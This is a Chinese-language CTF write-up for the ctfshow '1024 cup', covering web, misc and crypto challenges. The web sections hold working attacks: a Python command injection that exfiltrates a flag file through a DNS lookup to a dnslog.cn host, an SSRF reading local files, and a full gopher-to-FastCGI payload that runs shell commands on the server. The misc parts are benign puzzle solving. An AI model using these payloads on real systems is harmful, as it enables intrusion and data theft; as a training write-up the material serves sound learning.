ctfshow 1024杯writeup

web签到

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-20 23:59:00
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-21 03:51:36
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

查看phpinfo

http://1879bc15-8585-46bd-a985-1002b1bf77c9.chall.ctf.show/?f=phpinfo

搜索funciton 发现函数

调用函数得到flag

http://1879bc15-8585-46bd-a985-1002b1bf77c9.chall.ctf.show/?f=ctfshow_1024

flag{welcome_2_ctfshow_1024_cup}

web fastapi

http://58201a5d-bea3-497f-97cd-76d65b7d282a.chall.ctf.show/docs

__builtins__.__dict__['__imp'+'ort__']('os').system("ping `cat /mnt/f1a9`.au9xny.dnslog.cn")

web 图片代理

http://596ee842-0412-48e1-9b31-9ee55bd398fa.chall.ctf.show/index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w

发现picurl后面为base64编码，解码得到

http://596ee842-0412-48e1-9b31-9ee55bd398fa.chall.ctf.show/index.php?picurl=http://p.qlogo.cn/gh/372619038/372619038/0

猜测为ssrf
获取index.php文件

file:///proc/self/cwd/index.php
?picurl=ZmlsZTovLy9wcm9jL3NlbGYvY3dkL2luZGV4LnBocA==

if(isset($_GET["picurl"])){
     
    $ch = curl_init(explode("&",base64_decode($_GET["picurl"]))[0]);
    curl_setopt($ch, CURLOPT_TIMEOUT,2);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,2);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
    $data = curl_exec($ch);
    curl_close($ch);
    header("Content-type: image/jpeg");
    print( $data );
    unset($data);
}else{
     
    header('location:index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w');
}

读取默认配置文件

默认的server配置:/etc/nginx/conf.d/default.conf
file:///etc/nginx/conf.d/default.conf
?picurl=ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg==

server {
     
    listen 80 default_server;
    listen [::]:80 default_server;
    root         /var/www/bushihtml;
    index        index.php index.html;

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    location / {
     
        try_files $uri  $uri/ /index.php?$args;
    }

    location ~ \.php$ {
     
        try_files $uri =404;
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        include        fastcgi_params;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    }

    location = /404.html {
     
        internal;
    }

}

为gopher打fastcgi ，端口为9000

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

将以上base64编码后传入

http://596ee842-0412-48e1-9b31-9ee55bd398fa.chall.ctf.show/index.php?picurl=Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw

����X-Powered-By: PHP/7.4.11
Content-type: text/html; charset=UTF-8

21bba307-636d-4355-b947-17bccf282933
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
-----Made-by-SpyD3r-----
�������������srv

猜测第一串为flag，提交成功

misc签到

正则表达式使用
fl$

根据提示慢慢查找，^78210

56520 78210 35498184 9u4fl
78210 81068 79650456 ag{We 
81068 86056 65454545 lcom
86056 89556 16548421  _102
89556 91205 26568154  4_Cha
91205 94156 566512548 lleng
94156 96825 15487856 _9u4
96825 98155 156565645  ck}56

flag{Welcom_1024_Challeng_9u4ck}

94156 101464 585786209 ruW3i
94156 99346 141290772 jPWxo
96825 112034 54545552 not_
112034 119601 320691220 jYpj_
112034 119745 342725460 Fjx0N

misc 重新签到

level 1
文件尾提示It’s all numbers，普通爆破无果
出题人提示CRC爆破，压缩包内文件为10字节数字，CRC=0x342F0E5C，10字节CRC爆破，如下为脚本：

from pwn import *
from parse import *
from pwnlib.util.iters import bruteforce
import string
from binascii import crc32

def brute_force():
	return bruteforce(lambda x:crc32(x.encode())==int('342F0E5C',16),string.digits,length=10,method='fixed')

print(brute_force())

好在设置的数字不大，约1min得结果，为level 2密码。

0009656856
level2
利用stegcracker接出txt
stegcracker level_2.jpg wd

level 3
压缩包注释The password is 32 bits.，结合level 2解出的提示，各种可能的32位md5值都不行，经出题人-反复-提醒，才知道32是故意留的坑，真正的加密方式是sha1（什么呀），尝试sha1加密解出flag。

flag{W31c0m3_t0_4he_ctf5h0w_f4mi1y}

misc大威天龙

如是我闻：他根休梭拔游告过金消排信顛祖劫捐息稳想灭七息虚沙兄诵界排闍幽毘殊醯哈及醯麼藝持西央恐奉兄行難亦功者睦胜奉于众老曳難殿親劫慈謹陰故高雙下羅亿特盧彌皂楞游拔夜特經行来慈帝薩施说众定殊姪于西定中豆福盧月謹資号夫未信德夜印六德害寂急贤師拔胜利死下兄數诸茶困夜者困开排界依捐多山廟利忧寫六寂寂幽来解陀月羅先焰尼者信诵瑟輸時利胜善時孫矜數央多時隸便輸空告閦孫孕捐度六持念紛求曰能薩劫孤參困七消宗創心劫急稳除六须急廟婦朋諦多经蒙昼死弟經矜殺修提即婦怖六德宇蒙迦孕者奉真曳資消福金吼夫族排寂資凉曳信資惜妙穆楞實毘花老此栗創孕想西室室濟通雙積廟奉守五羅定未焰福實闍和槃陀孤室毒定孫除隸药足六恐伊胜曳智資殊蘇究奉藥界游實便开以穆施通礙及精下东百树即殊紛實除此造急七蘇楞令根高智孝楞能月诸伊方慈老憐伊盡盡想及蒙哈皂困休在璃解除重室德毘说貧薩东如来廟尼亿诵阿即楞殿朋金廣藐師修说西陀盡须璃休究千能敬宝敬利六急印殺弟實殺灯阿百訶盧哈灯勒告宝夫先慈訶尊舍央難梭进陀夷數故閦如兄曳尼孤哈藥普遮阿提栗實貧濟曳殺号弟友放愛焰陰文時夢昼释六奉百未伊施来姪特宗粟愛安槃及弥七諦琉夫提顛消夫涅謹多方真粟敬鄉隸金知印夫经消琉梭困雙廟经竟乾心究灭印守教幽方智药想恤尊稳孫毘想昼花故者鄉遮消花消陵焰在开众牟戒奉胜倒睦阿心舍橋路貧醯究沙諦室姪众名琉尼闍进刚貧树僧禮怖真信牟五蘇师親阿夷消孝及毒究迦妙念五室利通遮来廟難盧夜方創善说宇在曰通毘實游孤殺在閦中恤急遠普生持捨焰舍孝夷友皂曳虚麼普阿定清究逝故智想羅护妙福舍重惜琉親室令毘訶妙勒多三刚礙息皂寡王空輸彌夢王特守众众遮告忧量息貧未橋药麼朋兄高福刚百謹姪遮時花于故灭創放放毒殊夜如劫親曰亿数施众穆及遠遮尼殊吼困劫清幽释花夢虚遮行舍僧祖即夜西親花死休廟修惜顛北琉及牟謹遮下住蘇殿曳陵亿和姪名金資姪先真亦尼开说和中蒙顛号妙告经以奉夢豆勒寫牟五中央迦積足戒閦涅下奉惜倒勒害牟宇北稳礙央栗遮诸清经經花真昼室室须真槃通參盡蘇量诸师陰瑟诵閦粟排親令根毘戏夢夷輸姪根造戒鄉粟空山閦宗矜首謹沙阿告貧陵月槃守耨紛稳先謹幽寫定百訶能清劫顛妙持特经師依须求逝空能慈雙福尊禮勒虚多普閦说守月过各礙护定薩夜施排親未愛盧护凉貧知千千名夷宗求焰尊謹未六教孝宝弥未安下至福诸便胜勒焰陀号遠穆尊訶度金栗普夫惜者弟彌皂孫除殺量于殺室陵劫盧和安姪死师药北至親灭曰伊说兄遠万夢幽持吼惜藐王粟寡

与佛论禅解密

新佛曰解密

熊曰解密

佛又曰解密

flag{6o_R3_6a_m4_h0ng}

Misc 非常简单

看见压缩包和一张图片
压缩包提示6位数暴力点，就先6位数暴力破解。


暴力破解得到答案
里面装的是这个

Base92加密拿去在线工具解
http://ctf.ssleye.com/base92.html


然后以看是base64加密在拿去解
http://ctf.ssleye.com/base64.html

接出来了摩斯密码，再拿去转换

然后那张图片还没用上，图片里面隐写内容我们用foremost将其分离出来

按四下9对应九键键盘的9的第四个，就是z
按两下4对应九键键盘的4的第二个，就是h
按两下3对应九键键盘的3的第二个，就是e
按四下7对应九键键盘的7的第四个，就是s
按两下4对应九键键盘的4的第二个，就是h
按一下6对应九键键盘的6的第一个，就是m
按三下4对应九键键盘的4的第三个，就是i
按一下6对应九键键盘的6的第一个，就是m
按一下2对应九键键盘的2的第一个，就是a
总的写下来就是压缩包的密码了zheshmima

打开之后一个加密的压缩包，另一个文本文档说你怕蛇吗？那就是蛇加密了，想起之前的那个提示杀手锏的还没用，就是蛇解密的key了。Key是小写的THE END，也就是the end
拿去在线解密
http://serpent.online-domain-tools.com/

解压flag.zip

flag{zhuninqianchengsijin}

crypto 麻辣兔头第七锅

Csoe lnno,pdsad u l tr srietaetust ht hce teiteh bomoh  oe  neppfcdw  uroiitcrimstoasnesh uucso wsii lahetpnvnis leeoc oec thwfseth h  shetiHaserhcana ,ehpdrp   p oaLiiolnamnridwpegt sesait lsncoo .ia ftfzla hli sNeanbsamggout { nmut8iderocts e 5s a t6 wmahdphone4oind awcg sbeh oe3r tfpesh ad eNr8i aa4nPttf oui8swroeueenbcr'.7hssWd   e2foG bofohcr do7mt l3,hed6 en 7a tt2seih8 ate1trls4oteed h  5t,tt}h hrTeteuhmhmta e,hts  s hsa tae tolpdo lae s rcbesaeecen uetsrm ee rl meftos-hspeetevs cieltd i erktnieotgl ,hyt t htsteh,o a  otGep ofiavfnleeilrco ntnmm seet nnho tefasi r rmea a rSnceakr fieienantdtsy et rdiae tnqeuduqt iueHradael ps,ap  mittonhhneaagstt s  M.tte hhnPee,ry u ddaeerrneic veei,nn dgio nwtdehedee idbr,y   jwtuihsletli  rpd oiCwcreteraastt eof rrt ohwmai ttt hhG eoc vecerortnnasmieennn ttu sno afll oitnehgne a ebgsloteva ebRrlinigeshdht.eshd,a  tst hhwoahutel ndae mvnoeonrtg   abtnehy e csfheoa rnamgr eeod f L fiGoforev elringmhetn ta nbde ctormaenss ideenstt rcuacutsievse;  oafn dt haecsceo rednidnsg,l yi ta lils  etxhpee rRiiegnhcte  ohfa st hseh oPweno,p lteh atto  maalntkeirn do ra rteo  maobroel idsihs piots,e da ntdo  tsou fifnesrt,i twuhtiel en eewv iGlosv earrnem esnutf,f elraaybilneg,  itthsa n to right themselves by abolishing the forms to which they are accustomed. But when a long train of abuses and usurpations, pursuing invariably the same Object, evinces a design to reduce them under absolute Despotism, it is their ri

栅栏解密发现前半部分 6个一组有flag痕迹

flag{8c56d4ab3e
观察原文发现规律

选取这个部分继续testall

{ nmut8iderocts e 5s a t6 wmahdphone4oind awcg sbeh oe3r tfpesh ad eNr8i aa4nPttf oui8swroeueenbcr'.7hssWd   e2foG bofohcr do7mt l3,hed6 en 7a tt2seih8 ate1trls4oteed h  5t,tt}h hrTeteuhmhmta e,hts  s hsa tae tolpdo lae s rcbesaeecen uetsrm ee rl meftos-hspeetevs cieltd i erktnieotgl ,hyt t htsteh,o a  otGep ofiavfnleeilrco ntnmm seet nnho tefasi r rmea a rSnceakr fieienantdtsy et rdiae tnqeuduqt iueHradael ps,ap  mittonhhneaagstt s  M.tte hhnPee,ry u ddaeerrneic veei,nn dgio nwtdehedee idbr,y   jwtuihsletli  rpd oiCwcreteraastt eof rrt ohwmai ttt hhG eoc vecerortnnasmieennn ttu sno afll oitnehgne a ebgsloteva ebRrlinigeshdht.eshd,a  tst hhwoahutel ndae mvnoeonrtg   abtnehy e csfheoa rnamgr eeod f L fiGoforev elringmhetn ta nbde ctormaenss ideenstt rcuacutsievse;  oafn dt haecsceo rednidnsg,l yi ta lils  etxhpee rRiiegnhcte  ohfa st hseh oPweno,p lteh atto  maalntkeirn do ra rteo  maobroel idsihs piots,e da ntdo  tsou fifnesrt,i twuhtiel en eewv iGlosv earrnem esnutf,f elraaybilneg,  itthsa n to right themselves by abolishing the forms to which they are accustomed. But when a long train of abuses and usurpations, pursuing invariably the same Object, evinces a design to reduce them under absolute Despotism, it is their ri

算一下从tfpesh后是解出啥

说明从d8开始
d84f8eb7d2bc73672814d5}
两部分拼接得到flag

MISC 1024zip套娃

学到了，附上师傅几个有用脚本
解压zip

import zipfile 
import os

now = "4102.zip"

while 1:
	print("now zip: "+now, end='\t')
	zfile = zipfile.ZipFile(now)
	passFile=open('dic.txt') #先用0124全排列做字典
	for line in passFile.readlines():
		try:
			password = line.strip('\n')
			zfile.extractall(members=zfile.namelist(), pwd=password.encode('utf-8'))
			zfile.close()
			try:
				os.remove(now)
			except OSError as e:
				print(e)
			names = os.listdir()
			print(names)
			for name in names:
				if name.endswith('.zip') and name != now:
					now=name
					break
			break
		except:
			pass

密码字典，可用代码生成，数字不多也可自己写

0124
0214
0241
0142
0412
0421
1024
1042
1204
1402
1240
1420
2014
2041
2104
2140
2401
2410
4012
4102
4201
4120
4021
4210

得到1024.txt，base解码

import base64
import random

def b16de(s):
	s = base64.b16decode(s.encode()).decode()
	print('base16')
	return s

def b32de(s):
	s = base64.b32decode(s.encode()).decode()
	print('base32')
	return s

def b64de(s):
	s = base64.b64decode(s.encode()).decode()
	print('base64')
	return s

def main(s):
	for i in range(15):
		try:
			s = b16de(s)
		except:
			try:
				s = b32de(s)
			except:
				try:
					s = b64de(s)
				except:
					print('Oh...no...')
	f = open('decode.txt','w')
	f.write(s)
	f.close()

if  __name__=="__main__":
	f = open('1024.txt','r')#初始文件为basic.txt
	s = f.read()
	f.close()
	main(s)

decode.txt内容提取，base64解密的zip压缩包

import base64

f = open('decode.txt','r')
data = f.read()
f.close()
decoded = base64.b64decode(data)
with open('1.zip','wb') as z:
	z.write(decoded)

解压得到flag.png
flag{1024lozs!O24_i5_veRy_haowan}